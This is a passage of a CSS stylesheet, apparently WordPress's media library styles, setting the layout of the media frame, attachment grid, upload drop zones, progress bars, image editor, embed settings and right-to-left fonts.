.media-frame.hide-menu .media-frame-toolbar,
.media-frame.hide-menu .media-frame-content {
	left: 0;
}

.media-frame.hide-toolbar .media-frame-content {
	bottom: 0;
}

.media-frame.hide-router .media-frame-content {
	top: 50px;
}

.media-frame.hide-menu .media-frame-menu,
.media-frame.hide-menu .media-frame-menu-heading,
.media-frame.hide-router .media-frame-router,
.media-frame.hide-toolbar .media-frame-toolbar {
	display: none;
}

.media-frame-title h1 {
	padding: 0 16px;
	font-size: 22px;
	line-height: 2.27272727;
	margin: 0;
}

.media-frame-menu-heading,
.media-attachments-filter-heading {
	position: absolute;
	left: 20px;
	top: 22px;
	margin: 0;
	font-size: 13px;
	line-height: 1;
	/* Above the media-frame-menu. */
	z-index: 151;
}

.media-attachments-filter-heading {
	top: 10px;
	left: 16px;
}

.mode-grid .media-attachments-filter-heading {
	top: 0;
	left: -9999px;
}

.mode-grid .media-frame-actions-heading {
	display: none;
}

.wp-core-ui .button.media-frame-menu-toggle {
	display: none;
}

.media-frame-title .suggested-dimensions {
	font-size: 14px;
	float: right;
	margin-right: 20px;
}

.media-frame-content .crop-content {
	height: 100%;
}

.options-general-php .crop-content.site-icon,
.wp-customizer:not(.mobile) .media-frame-content .crop-content.site-icon {
	margin-right: 300px;
}

.media-frame-content .crop-content .crop-image {
	display: block;
	margin: auto;
	max-width: 100%;
	max-height: 100%;
}

.media-frame-content .crop-content .upload-errors {
	position: absolute;
	width: 300px;
	top: 50%;
	left: 50%;
	margin-left: -150px;
	margin-right: -150px;
	z-index: 600000;
}

/**
 * Iframes
 */
.media-frame .media-iframe {
	overflow: hidden;
}

.media-frame .media-iframe,
.media-frame .media-iframe iframe {
	height: 100%;
	width: 100%;
	border: 0;
}

/**
 * Attachment Browser Filters
 */
.media-frame select.attachment-filters {
	margin-top: 11px;
	margin-right: 2%;
	max-width: 42%;
	max-width: calc(48% - 12px);
}

.media-frame select.attachment-filters:last-of-type {
	margin-right: 0;
}

/**
 * Search
 */
.media-frame .search {
	margin: 32px 0 0;
	padding: 4px;
	font-size: 13px;
	color: #3c434a;
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
	-webkit-appearance: none;
}

.media-toolbar-primary .search {
	max-width: 100%;
}

.media-modal .media-frame .media-search-input-label {
	position: absolute;
	left: 0;
	top: 10px;
	margin: 0;
	line-height: 1;
}

/**
 * Attachments
 */
.wp-core-ui .attachments {
	margin: 0;
	-webkit-overflow-scrolling: touch;
}

/**
 * Attachment
 */
.wp-core-ui .attachment {
	position: relative;
	float: left;
	padding: 8px;
	margin: 0;
	color: #3c434a;
	cursor: pointer;
	list-style: none;
	text-align: center;
	-webkit-user-select: none;
	user-select: none;
	width: 25%;
	box-sizing: border-box;
}

.wp-core-ui .attachment:focus,
.wp-core-ui .selected.attachment:focus,
.wp-core-ui .attachment.details:focus {
	box-shadow:
		inset 0 0 2px 3px #fff,
		inset 0 0 0 7px #4f94d4;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
	outline-offset: -6px;
}

.wp-core-ui .selected.attachment {
	box-shadow:
		inset 0 0 0 5px #fff,
		inset 0 0 0 7px #c3c4c7;
}

.wp-core-ui .attachment.details {
	box-shadow:
		inset 0 0 0 3px #fff,
		inset 0 0 0 7px #2271b1;
}

.wp-core-ui .attachment-preview {
	position: relative;
	box-shadow:
		inset 0 0 15px rgba(0, 0, 0, 0.1),
		inset 0 0 0 1px rgba(0, 0, 0, 0.05);
	background: #f0f0f1;
	cursor: pointer;
}

.wp-core-ui .attachment-preview:before {
	content: "";
	display: block;
	padding-top: 100%;
}

.wp-core-ui .attachment .icon {
	margin: 0 auto;
	overflow: hidden;
}

.wp-core-ui .attachment .thumbnail {
	overflow: hidden;
	position: absolute;
	top: 0;
	right: 0;
	bottom: 0;
	left: 0;
	opacity: 1;
	transition: opacity .1s;
}

.wp-core-ui .attachment .portrait img {
	max-width: 100%;
}

.wp-core-ui .attachment .landscape img {
	max-height: 100%;
}

.wp-core-ui .attachment .thumbnail:after {
	content: "";
	display: block;
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.1);
	overflow: hidden;
}

.wp-core-ui .attachment .thumbnail img {
	top: 0;
	left: 0;
}

.wp-core-ui .attachment .thumbnail .centered {
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	transform: translate( 50%, 50% );
}

.wp-core-ui .attachment .thumbnail .centered img {
	transform: translate( -50%, -50% );
}

.wp-core-ui .attachments-browser .attachment .thumbnail .centered img.icon {
	transform: translate( -50%, -70% );
}

.wp-core-ui .attachment .filename {
	position: absolute;
	left: 0;
	right: 0;
	bottom: 0;
	overflow: hidden;
	max-height: 100%;
	word-wrap: break-word;
	text-align: center;
	font-weight: 600;
	background: rgba(255, 255, 255, 0.8);
	box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.15);
}

.wp-core-ui .attachment .filename div {
	padding: 5px 10px;
}

.wp-core-ui .attachment .thumbnail img {
	position: absolute;
}

.wp-core-ui .attachment-close {
	display: block;
	position: absolute;
	top: 5px;
	right: 5px;
	height: 22px;
	width: 22px;
	padding: 0;
	background-color: #fff;
	background-position: -96px 4px;
	border-radius: 3px;
	box-shadow: 0 0 0 1px rgba(0, 0, 0, 0.3);
	transition: none;
}

.wp-core-ui .attachment-close:hover,
.wp-core-ui .attachment-close:focus {
	background-position: -36px 4px;
}

.wp-core-ui .attachment .check {
	display: none;
	height: 24px;
	width: 24px;
	padding: 0;
	border: 0;
	position: absolute;
	z-index: 10;
	top: 0;
	right: 0;
	outline: none;
	background: #f0f0f1;
	cursor: pointer;
	box-shadow: 0 0 0 1px #fff, 0 0 0 2px rgba(0, 0, 0, 0.15);
}

.wp-core-ui .attachment .check .media-modal-icon {
	display: block;
	background-position: -1px 0;
	height: 15px;
	width: 15px;
	margin: 5px;
}

.wp-core-ui .attachment .check:hover .media-modal-icon {
	background-position: -40px 0;
}

.wp-core-ui .attachment.selected .check {
	display: block;
}

.wp-core-ui .attachment.details .check,
.wp-core-ui .attachment.selected .check:focus,
.wp-core-ui .media-frame.mode-grid .attachment.selected .check {
	background-color: #2271b1;
	box-shadow:
		0 0 0 1px #fff,
		0 0 0 2px #2271b1;
}

.wp-core-ui .attachment.selected .check:focus {
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.wp-core-ui .attachment.details .check .media-modal-icon,
.wp-core-ui .media-frame.mode-grid .attachment.selected .check .media-modal-icon {
	background-position: -21px 0;
}

.wp-core-ui .attachment.details .check:hover .media-modal-icon,
.wp-core-ui .attachment.selected .check:focus .media-modal-icon,
.wp-core-ui .media-frame.mode-grid .attachment.selected .check:hover .media-modal-icon {
	background-position: -60px 0;
}

.wp-core-ui .media-frame .attachment .describe {
	position: relative;
	display: block;
	width: 100%;
	margin: 0;
	padding: 0 8px;
	font-size: 12px;
	border-radius: 0;
}

/**
 * Attachments Browser
 */
.media-frame .attachments-browser {
	position: relative;
	width: 100%;
	height: 100%;
	overflow: hidden;
}

.attachments-browser .media-toolbar {
	right: 300px;
	height: 72px;
	background: #fff;
}

.attachments-browser.hide-sidebar .media-toolbar {
	right: 0;
}

.attachments-browser .media-toolbar-primary > .media-button,
.attachments-browser .media-toolbar-primary > .media-button-group,
.attachments-browser .media-toolbar-secondary > .media-button,
.attachments-browser .media-toolbar-secondary > .media-button-group {
	margin: 10px 0;
}

.attachments-browser .attachments {
	padding: 2px 8px 8px;
}

.attachments-browser:not(.has-load-more) .attachments,
.attachments-browser.has-load-more .attachments-wrapper,
.attachments-browser .uploader-inline {
	position: absolute;
	top: 72px;
	left: 0;
	right: 300px;
	bottom: 0;
	overflow: auto;
	outline: none;
}

.attachments-browser .uploader-inline.hidden {
	display: none;
}

.attachments-browser .media-toolbar-primary {
	max-width: 33%;
}

.mode-grid .attachments-browser .media-toolbar-primary {
	display: flex;
	align-items: center;
	column-gap: .5rem;
	margin: 11px 0;
}

.mode-grid .attachments-browser .media-toolbar-mode-select .media-toolbar-primary {
	display: none;
}

.attachments-browser .media-toolbar-secondary {
	max-width: 66%;
}

.uploader-inline .close {
	background-color: transparent;
	border: 0;
	cursor: pointer;
	height: 48px;
	outline: none;
	padding: 0;
	position: absolute;
	right: 2px;
	text-align: center;
	top: 2px;
	width: 48px;
	z-index: 1;
}

.uploader-inline .close:before {
	font: normal 30px/1 dashicons !important;
	color: #50575e;
	display: inline-block;
	content: "\f335";
	font-weight: 300;
	margin-top: 1px;
}

.uploader-inline .close:focus {
	outline: 1px solid #4f94d4;
	box-shadow: 0 0 3px rgba(34, 113, 177, 0.8);
}

.attachments-browser.hide-sidebar .attachments,
.attachments-browser.hide-sidebar .uploader-inline {
	right: 0;
	margin-right: 0;
}

.attachments-browser .instructions {
	display: inline-block;
	margin-top: 16px;
	line-height: 1.38461538;
	font-size: 13px;
	color: #646970;
}

.attachments-browser .no-media {
	padding: 2em 0 0 2em;
}

.more-loaded .attachment:not(.found-media) {
	background: #dcdcde;
}

.load-more-wrapper {
	clear: both;
	display: flex;
	flex-wrap: wrap;
	align-items: center;
	justify-content: center;
	padding: 1em 0;
}

.load-more-wrapper .load-more-count {
	min-width: 100%;
	margin: 0 0 1em;
	text-align: center;
}

.load-more-wrapper .load-more {
	margin: 0;
}

/* Needs high specificity. */
.media-frame .load-more-wrapper .load-more + .spinner {
	float: none;
	margin: 0 -30px 0 10px;
}

/* Reset spinner margin when the button is hidden to avoid horizontal scrollbar. */
.media-frame .load-more-wrapper .load-more.hidden + .spinner {
	margin: 0;
}

/* Force a new row within the flex container. */
.load-more-wrapper::after {
	content: "";
	min-width: 100%;
	order: 1;
}

.load-more-wrapper .load-more-jump {
	margin: 0 0 0 12px;
}

.attachment.new-media {
	outline: 2px dotted #c3c4c7;
}

/**
 * Progress Bar
 */
.media-progress-bar {
	position: relative;
	height: 10px;
	width: 70%;
	margin: 10px auto;
	border-radius: 10px;
	background: #dcdcde;
	background: rgba(0, 0, 0, 0.1);
}

.media-progress-bar div {
	height: 10px;
	min-width: 20px;
	width: 0;
	background: #2271b1;
	border-radius: 10px;
	transition: width 300ms;
}

.media-uploader-status .media-progress-bar {
	display: none;
	width: 100%;
}

.uploading.media-uploader-status .media-progress-bar {
	display: block;
}

.attachment-preview .media-progress-bar {
	position: absolute;
	top: 50%;
	left: 15%;
	width: 70%;
	margin: -5px 0 0;
}

.media-uploader-status {
	position: relative;
	margin: 0 auto;
	padding-bottom: 10px;
	max-width: 400px;
}

.uploader-inline .media-uploader-status h2 {
	display: none;
}

.media-uploader-status .upload-details {
	display: none;
	font-size: 12px;
	color: #646970;
}

.uploading.media-uploader-status .upload-details {
	display: block;
}

.media-uploader-status .upload-detail-separator {
	padding: 0 4px;
}

.media-uploader-status .upload-count {
	color: #3c434a;
}

.media-uploader-status .upload-dismiss-errors,
.media-uploader-status .upload-errors {
	display: none;
}

.errors.media-uploader-status .upload-dismiss-errors,
.errors.media-uploader-status .upload-errors {
	display: block;
}

.media-uploader-status .upload-dismiss-errors {
	transition: none;
	text-decoration: none;
}

.upload-errors .upload-error {
	padding: 12px;
	margin-bottom: 12px;
	background: #fff;
	border-left: 4px solid #d63638;
	box-shadow: 0 1px 1px 0 rgba(0, 0, 0, 0.1);
}

.uploader-inline .upload-errors .upload-error {
	padding: 12px 30px;
	background-color: #fcf0f1;
	box-shadow: none;
}

.upload-errors .upload-error-filename {
	font-weight: 600;
}

.upload-errors .upload-error-message {
	display: block;
	padding-top: 8px;
	word-wrap: break-word;
}

/**
 * Window and Editor uploaders used to display "drop zones"
 */
.uploader-window,
.wp-editor-wrap .uploader-editor {
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	text-align: center;
	display: none;
}

.uploader-window {
	position: fixed;
	z-index: 250000;
	opacity: 0; /* Only the inline uploader is animated with JS, the editor one isn't */
	transition: opacity 250ms;
}

.wp-editor-wrap .uploader-editor {
	position: absolute;
	z-index: 99998; /* under the toolbar */
	background: rgba(140, 143, 148, 0.9);
}

.uploader-window,
.wp-editor-wrap .uploader-editor.droppable {
	background: rgba(10, 75, 120, 0.9);
}

.uploader-window-content,
.wp-editor-wrap .uploader-editor-content {
	position: absolute;
	top: 10px;
	left: 10px;
	right: 10px;
	bottom: 10px;
	border: 1px dashed #fff;
}

/* uploader drop-zone title */
.uploader-window h1, /* Back-compat for pre-5.3 */
.uploader-window .uploader-editor-title,
.wp-editor-wrap .uploader-editor .uploader-editor-title {
	position: absolute;
	top: 50%;
	left: 0;
	right: 0;
	transform: translateY(-50%);
	font-size: 3em;
	line-height: 1.3;
	font-weight: 600;
	color: #fff;
	margin: 0;
	padding: 0 10px;
}

.wp-editor-wrap .uploader-editor .uploader-editor-title {
	display: none;
}

.wp-editor-wrap .uploader-editor.droppable .uploader-editor-title {
	display: block;
}

.uploader-window .media-progress-bar {
	margin-top: 20px;
	max-width: 300px;
	background: transparent;
	border-color: #fff;
	display: none;
}

.uploader-window .media-progress-bar div {
	background: #fff;
}

.uploading .uploader-window .media-progress-bar {
	display: block;
}

.media-frame .uploader-inline {
	margin-bottom: 20px;
	padding: 0;
	text-align: center;
}

.uploader-inline-content {
	position: absolute;
	top: 30%;
	left: 0;
	right: 0;
}

.uploader-inline-content .upload-ui {
	margin: 2em 0;
}

.uploader-inline-content .post-upload-ui {
	margin-bottom: 2em;
}

.uploader-inline .has-upload-message .upload-ui {
	margin: 0 0 4em;
}

.uploader-inline h2 {
	font-size: 20px;
	line-height: 1.4;
	font-weight: 400;
	margin: 0;
}

.uploader-inline .has-upload-message .upload-instructions {
	font-size: 14px;
	color: #3c434a;
	font-weight: 400;
}

.uploader-inline .drop-instructions {
	display: none;
}

.supports-drag-drop .uploader-inline .drop-instructions {
	display: block;
}

.uploader-inline p {
	margin: 0.5em 0;
}

.uploader-inline .media-progress-bar {
	display: none;
}

.uploading.uploader-inline .media-progress-bar {
	display: block;
}

.uploader-inline .browser {
	display: inline-block !important;
}

/**
 * Selection
 */
.media-selection {
	position: absolute;
	top: 0;
	left: 0;
	right: 350px;
	height: 60px;
	padding: 0 0 0 16px;
	overflow: hidden;
	white-space: nowrap;
}

.media-selection .selection-info {
	display: inline-block;
	font-size: 12px;
	height: 60px;
	margin-right: 10px;
	vertical-align: top;
}

.media-selection.empty,
.media-selection.editing {
	display: none;
}

.media-selection.one .edit-selection {
	display: none;
}

.media-selection .count {
	display: block;
	padding-top: 12px;
	font-size: 14px;
	line-height: 1.42857142;
	font-weight: 600;
}

.media-selection .button-link {
	float: left;
	padding: 1px 8px;
	margin: 1px 8px 1px -8px;
	line-height: 1.4;
	border-right: 1px solid #dcdcde;
	color: #2271b1;
	text-decoration: none;
}

.media-selection .button-link:hover,
.media-selection .button-link:focus {
	color: #135e96;
}

.media-selection .button-link:last-child {
	border-right: 0;
	margin-right: 0;
}

.selection-info .clear-selection {
	color: #d63638;
}

.selection-info .clear-selection:hover,
.selection-info .clear-selection:focus {
	color: #d63638;
}

.media-selection .selection-view {
	display: inline-block;
	vertical-align: top;
}

.media-selection .attachments {
	display: inline-block;
	height: 48px;
	margin: 6px;
	padding: 0;
	overflow: hidden;
	vertical-align: top;
}

.media-selection .attachment {
	width: 40px;
	padding: 0;
	margin: 4px;
}

.media-selection .attachment .thumbnail {
	top: 0;
	right: 0;
	bottom: 0;
	left: 0;
}

.media-selection .attachment .icon {
	width: 50%;
}

.media-selection .attachment-preview {
	box-shadow: none;
	background: none;
}

.wp-core-ui .media-selection .attachment:focus,
.wp-core-ui .media-selection .selected.attachment:focus,
.wp-core-ui .media-selection .attachment.details:focus {
	box-shadow:
		0 0 0 1px #fff,
		0 0 2px 3px #4f94d4;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.wp-core-ui .media-selection .selected.attachment {
	box-shadow: none;
}

.wp-core-ui .media-selection .attachment.details {
	box-shadow:
		0 0 0 1px #fff,
		0 0 0 3px #2271b1;
}

.media-selection:after {
	content: "";
	display: block;
	position: absolute;
	top: 0;
	right: 0;
	bottom: 0;
	width: 25px;
	background-image: linear-gradient(to left,#fff,rgba(255, 255, 255, 0));
}

.media-selection .attachment .filename {
	display: none;
}

/**
 * Spinner
 */
.media-frame .spinner {
	background: url(../images/spinner.gif) no-repeat;
	background-size: 20px 20px;
	float: right;
	display: inline-block;
	visibility: hidden;
	opacity: 0.7;
	filter: alpha(opacity=70);
	width: 20px;
	height: 20px;
	margin: 0;
	vertical-align: middle;
}

.media-frame .media-sidebar .settings-save-status .spinner {
	position: absolute;
	right: 0;
	top: 0;
}

.media-frame.mode-grid .spinner {
	margin: 0;
	float: none;
	vertical-align: middle;
}

.media-modal .media-toolbar .spinner {
	float: none;
	vertical-align: bottom;
	margin: 0 0 5px 5px;
}

.media-frame .instructions + .spinner.is-active {
	vertical-align: middle;
}

.media-frame .spinner.is-active {
	visibility: visible;
}

/**
 * Attachment Details
 */
.attachment-details {
	position: relative;
	overflow: auto;
}

.attachment-details .settings-save-status {
	text-align: right;
	text-transform: none;
	font-weight: 400;
}

.attachment-details .settings-save-status .spinner {
	float: none;
	margin-left: 5px;
}

.attachment-details .settings-save-status .saved {
	display: none;
}

.attachment-details.save-waiting .settings-save-status .spinner {
	visibility: visible;
}

.attachment-details.save-complete .settings-save-status .saved {
	display: inline-block;
}

.attachment-info {
	overflow: hidden;
	min-height: 60px;
	margin-bottom: 16px;
	line-height: 1.5;
	color: #646970;
	border-bottom: 1px solid #dcdcde;
	padding-bottom: 11px;
}

.attachment-info .wp-media-wrapper {
	margin-bottom: 8px;
}

.attachment-info .wp-media-wrapper.wp-audio {
	margin-top: 13px;
}

.attachment-info .filename {
	font-weight: 600;
	color: #3c434a;
	word-wrap: break-word;
}

.attachment-info .thumbnail {
	position: relative;
	float: left;
	max-width: 120px;
	max-height: 120px;
	margin-top: 5px;
	margin-right: 10px;
	margin-bottom: 5px;
}

.uploading .attachment-info .thumbnail {
	width: 120px;
	height: 80px;
	box-shadow: inset 0 0 15px rgba(0, 0, 0, 0.1);
}

.uploading .attachment-info .media-progress-bar {
	margin-top: 35px;
}

.attachment-info .thumbnail-image:after {
	content: "";
	display: block;
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.15);
	overflow: hidden;
}

.attachment-info .thumbnail img {
	display: block;
	max-width: 120px;
	max-height: 120px;
	margin: 0 auto;
}

.attachment-info .details {
	float: left;
	font-size: 12px;
	max-width: 100%;
}

.attachment-info .edit-attachment,
.attachment-info .delete-attachment,
.attachment-info .trash-attachment,
.attachment-info .untrash-attachment {
	display: block;
	text-decoration: none;
	white-space: nowrap;
}

.attachment-details.needs-refresh .attachment-info .edit-attachment {
	display: none;
}

.attachment-info .edit-attachment {
	display: block;
}

.media-modal .delete-attachment,
.media-modal .trash-attachment,
.media-modal .untrash-attachment {
	display: inline;
	padding: 0;
	color: #d63638;
}

.media-modal .delete-attachment:hover,
.media-modal .delete-attachment:focus,
.media-modal .trash-attachment:hover,
.media-modal .trash-attachment:focus,
.media-modal .untrash-attachment:hover,
.media-modal .untrash-attachment:focus {
	color: #d63638;
}

/**
 * Attachment Display Settings
 */
.attachment-display-settings {
	width: 100%;
	float: left;
	overflow: hidden;
}

.collection-settings {
	overflow: hidden;
}

.collection-settings .setting input[type="checkbox"] {
	float: left;
	margin-right: 8px;
}

.collection-settings .setting span, /* Back-compat for pre-5.3 */
.collection-settings .setting .name {
	min-width: inherit;
}

/**
 * Image Editor
 */
.media-modal .imgedit-wrap {
	position: static;
}

.media-modal .imgedit-wrap .imgedit-panel-content {
	padding: 16px 16px 0;
	overflow: visible;
}

/*
 * Implementation of bottom padding in overflow content differs across browsers.
 * We need a different method. See https://github.com/w3c/csswg-drafts/issues/129
 */
.media-modal .imgedit-wrap .imgedit-save-target {
	margin: 8px 0 24px;
}

.media-modal .imgedit-group {
	background: none;
	border: none;
	box-shadow: none;
	margin: 0;
	padding: 0;
	position: relative; /* RTL fix, #WP29352 */
}

.media-modal .imgedit-group.imgedit-panel-active {
	margin-bottom: 16px;
	padding-bottom: 16px;
}

.media-modal .imgedit-group-top {
	margin: 0;
}

.media-modal .imgedit-group-top h2,
.media-modal .imgedit-group-top h2 .button-link {
	display: inline-block;
	text-transform: uppercase;
	font-size: 12px;
	color: #646970;
	margin: 0;
	margin-top: 3px;
}

.media-modal .imgedit-group-top h2 a,
.media-modal .imgedit-group-top h2 .button-link {
	text-decoration: none;
	color: #646970;
}

/* higher specificity than media.css */
.wp-core-ui.media-modal .image-editor .imgedit-help-toggle,
.wp-core-ui.media-modal .image-editor .imgedit-help-toggle:hover,
.wp-core-ui.media-modal .image-editor .imgedit-help-toggle:active {
	border: 1px solid transparent;
	margin: 0;
	padding: 0;
	background: transparent;
	color: #2271b1;
	font-size: 20px;
	line-height: 1;
	cursor: pointer;
	box-sizing: content-box;
	box-shadow: none;
}

.wp-core-ui.media-modal .image-editor .imgedit-help-toggle:focus {
	color: #2271b1;
	border-color: #2271b1;
	box-shadow: 0 0 0 1px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.wp-core-ui.media-modal .imgedit-group-top .dashicons-arrow-down.imgedit-help-toggle {
	margin-top: -3px;
}

.wp-core-ui.media-modal .image-editor h3 .imgedit-help-toggle {
	margin-top: -2px;
}

.media-modal .imgedit-help-toggled span.dashicons:before {
	content: "\f142";
}

.media-modal .imgedit-thumbnail-preview {
	margin: 10px 8px 0 0;
}

.imgedit-thumbnail-preview-caption {
	display: block;
}

.media-modal .imgedit-wrap div.updated, /* Back-compat for pre-5.5 */
.media-modal .imgedit-wrap .notice {
	margin: 0 16px;
}

/**
 * Embed from URL and Image Details
 */
.embed-url {
	display: block;
	position: relative;
	padding: 16px;
	margin: 0;
	z-index: 250;
	background: #fff;
	font-size: 18px;
}

.media-frame .embed-url input {
	font-size: 18px;
	line-height: 1.22222222; /* 22px */
	padding: 12px 40px 12px 14px; /* right padding to leave room for the spinner */
	width: 100%;
	min-width: 200px;
	box-shadow: inset 2px 2px 4px -2px rgba(0, 0, 0, 0.1);
}

.media-frame .embed-url input::-ms-clear {
	display: none; /* the "x" in IE 11 conflicts with the spinner */
}

.media-frame .embed-url .spinner {
	position: absolute;
	top: 32px;
	right: 26px;
}

.media-frame .embed-loading .embed-url .spinner {
	visibility: visible;
}

.embed-link-settings,
.embed-media-settings {
	position: absolute;
	top: 82px;
	left: 0;
	right: 0;
	bottom: 0;
	padding: 0 16px;
	overflow: auto;
}

.media-embed .embed-link-settings .link-text {
	margin-top: 0;
}

/*
 * Implementation of bottom padding in overflow content differs across browsers.
 * We need a different method. See https://github.com/w3c/csswg-drafts/issues/129
 */
.embed-link-settings::after,
.embed-media-settings::after {
	content: "";
	display: flex;
	clear: both;
	height: 24px;
}

.media-embed .embed-link-settings {
	/* avoid Firefox to give focus to the embed preview container parent */
	overflow: visible;
}

.embed-preview img,
.embed-preview iframe,
.embed-preview embed,
.mejs-container video {
	max-width: 100%;
	vertical-align: middle;
}

.embed-preview a {
	display: inline-block;
}

.embed-preview img {
	display: block;
	height: auto;
}

.mejs-container:focus {
	outline: 1px solid #2271b1;
	box-shadow: 0 0 0 2px #2271b1;
}

.image-details .media-modal {
	left: 140px;
	right: 140px;
}

.image-details .media-frame-title,
.image-details .media-frame-content,
.image-details .media-frame-router {
	left: 0;
}

.image-details .embed-media-settings {
	top: 0;
	overflow: visible;
	padding: 0;
}

.image-details .embed-media-settings::after {
	content: none;
}

.image-details .embed-media-settings,
.image-details .embed-media-settings div {
	box-sizing: border-box;
}

.image-details .column-settings {
	background: #f6f7f7;
	border-right: 1px solid #dcdcde;
	min-height: 100%;
	width: 55%;
	position: absolute;
	top: 0;
	left: 0;
}

.image-details .column-settings h2 {
	margin: 20px;
	padding-top: 20px;
	border-top: 1px solid #dcdcde;
	color: #1d2327;
}

.image-details .column-image {
	width: 45%;
	position: absolute;
	left: 55%;
	top: 0;
}

.image-details .image {
	margin: 20px;
}

.image-details .image img {
	max-width: 100%;
	max-height: 500px;
}

.image-details .advanced-toggle {
	padding: 0;
	color: #646970;
	text-transform: uppercase;
	text-decoration: none;
}

.image-details .advanced-toggle:hover,
.image-details .advanced-toggle:active {
	color: #646970;
}

.image-details .advanced-toggle:after {
	font: normal 20px/1 dashicons;
	speak: never;
	vertical-align: top;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	content: "\f140";
	display: inline-block;
	margin-top: -2px;
}

.image-details .advanced-visible .advanced-toggle:after {
	content: "\f142";
}

.image-details .custom-size label, /* Back-compat for pre-5.3 */
.image-details .custom-size .custom-size-setting {
	display: block;
	float: left;
}

.image-details .custom-size .custom-size-setting label {
	float: none;
}

.image-details .custom-size input {
	width: 5em;
}

.image-details .custom-size .sep {
	float: left;
	margin: 26px 6px 0;
}

.image-details .custom-size .description {
	margin-left: 0;
}

.media-embed .thumbnail {
	max-width: 100%;
	max-height: 200px;
	position: relative;
	float: left;
}

.media-embed .thumbnail img {
	max-height: 200px;
	display: block;
}

.media-embed .thumbnail:after {
	content: "";
	display: block;
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.1);
	overflow: hidden;
}

.media-embed .setting,
.media-embed .setting-group {
	width: 100%;
	margin: 10px 0;
	float: left;
	display: block;
	clear: both;
}

.media-embed .setting-group .setting:not(.checkbox-setting) {
	margin: 0;
}

.media-embed .setting.has-description {
	margin-bottom: 5px;
}

.media-embed .description {
	clear: both;
	font-style: normal;
}

.media-embed .content-track + .description {
	line-height: 1.4;
	/* The !important needs to override a high specificity selector from wp-medialement.css */
	max-width: none !important;
}

.media-embed .remove-track {
	margin-bottom: 10px;
}

.image-details .embed-media-settings .setting,
.image-details .embed-media-settings .setting-group {
	float: none;
	width: auto;
}

.image-details .actions {
	margin: 10px 0;
}

.image-details .hidden {
	display: none;
}

.media-embed .setting input[type="text"],
.media-embed .setting textarea,
.media-embed fieldset {
	display: block;
	width: 100%;
	max-width: 400px;
}

.image-details .embed-media-settings .setting input[type="text"],
.image-details .embed-media-settings .setting textarea {
	max-width: inherit;
	width: 70%;
}

.image-details .embed-media-settings .setting input.link-to-custom,
.image-details .embed-media-settings .link-target,
.image-details .embed-media-settings .custom-size,
.image-details .embed-media-settings .setting-group,
.image-details .description {
	margin-left: 27%;
	width: 70%;
}

.image-details .description {
	font-style: normal;
	margin-top: 0;
}

.image-details .embed-media-settings .link-target {
	margin-top: 16px;
}

.image-details .checkbox-label,
.audio-details .checkbox-label,
.video-details .checkbox-label {
	vertical-align: baseline;
}

.media-embed .setting input.hidden,
.media-embed .setting textarea.hidden {
	display: none;
}

.media-embed .setting span, /* Back-compat for pre-5.3 */
.media-embed .setting .name,
.media-embed .setting-group .name {
	display: inline-block;
	font-size: 13px;
	line-height: 1.84615384;
	color: #646970;
}

.media-embed .setting span {
	display: block; /* Back-compat for pre-5.3 */
	width: 200px; /* Back-compat for pre-5.3 */
}

.image-details .embed-media-settings .setting span, /* Back-compat for pre-5.3 */
.image-details .embed-media-settings .setting .name {
	float: left;
	width: 25%;
	text-align: right;
	margin: 8px 1% 0;
	line-height: 1.1;
}

/* Buttons group in IE 11. */
.media-frame .setting-group .button-group,
.image-details .embed-media-settings .setting .button-group {
	width: auto;
}

.media-embed-sidebar {
	position: absolute;
	top: 0;
	left: 440px;
}

.advanced-section,
.link-settings {
	margin-top: 10px;
}

/**
 * Button groups fix: can be removed together with the Back-compat for pre-5.3
 */
 .media-frame .setting .button-group {
	 display: flex;
	 margin: 0 !important;
	 max-width: none !important;
 }

/**
 * Localization
 */
.rtl .media-modal,
.rtl .media-frame,
.rtl .media-frame .search,
.rtl .media-frame input[type="text"],
.rtl .media-frame input[type="password"],
.rtl .media-frame input[type="number"],
.rtl .media-frame input[type="search"],
.rtl .media-frame input[type="email"],
.rtl .media-frame input[type="url"],
.rtl .media-frame input[type="tel"],
.rtl .media-frame textarea,
.rtl .media-frame select {
	font-family: Tahoma, sans-serif;
}

:lang(he-il) .rtl .media-modal,
:lang(he-il) .rtl .media-frame,
:lang(he-il) .rtl .media-frame .search,
:lang(he-il) .rtl .media-frame input[type="text"],
:lang(he-il) .rtl .media-frame input[type="password"],
:lang(he-il) .rtl .media-frame input[type="number"],
:lang(he-il) .rtl .media-frame input[type="search"],
:lang(he-il) .rtl .media-frame input[type="email"],
:lang(he-il) .rtl .media-frame input[type="url"],
:lang(he-il) .rtl .media-frame textarea,
:lang(he-il) .rtl .media-frame select {
	font-family: Arial, sans-serif;
}

/**
 * Responsive layout
 */
@media only screen and (max-width: 900px) {
	.media-modal .media-frame-title {
		height: 40px;
	}

	.media-modal .media-frame-title h1 {
		line-height: 2.22222222;
		font-size: 18px;
	}

	.media-modal-close {
		width: 42px;
		height: 42px;
	}

	/* Drop-down menu */
	.media-frame .media-frame-title {
		position: static;
		padding: 0 44px;
		text-align: center;
	}

	.media-frame:not(.hide-menu) .media-frame-router,
	.media-frame:not(.hide-menu) .media-frame-content,
	.media-frame:not(.hide-menu) .media-frame-toolbar {
		left: 0;
	}

	.media-frame:not(.hide-menu) .media-frame-router {
		/* 40 title + (40 - 6) menu toggle button + 6 spacing */
		top: 80px;
	}

	.media-frame:not(.hide-menu) .media-frame-content {
		/* 80 + room for the tabs */
		top: 114px;
	}

	.media-frame.hide-router .media-frame-content {
		top: 80px;
	}

	.media-frame:not(.hide-menu) .media-frame-menu {
		position: static;
		width: 0;
	}

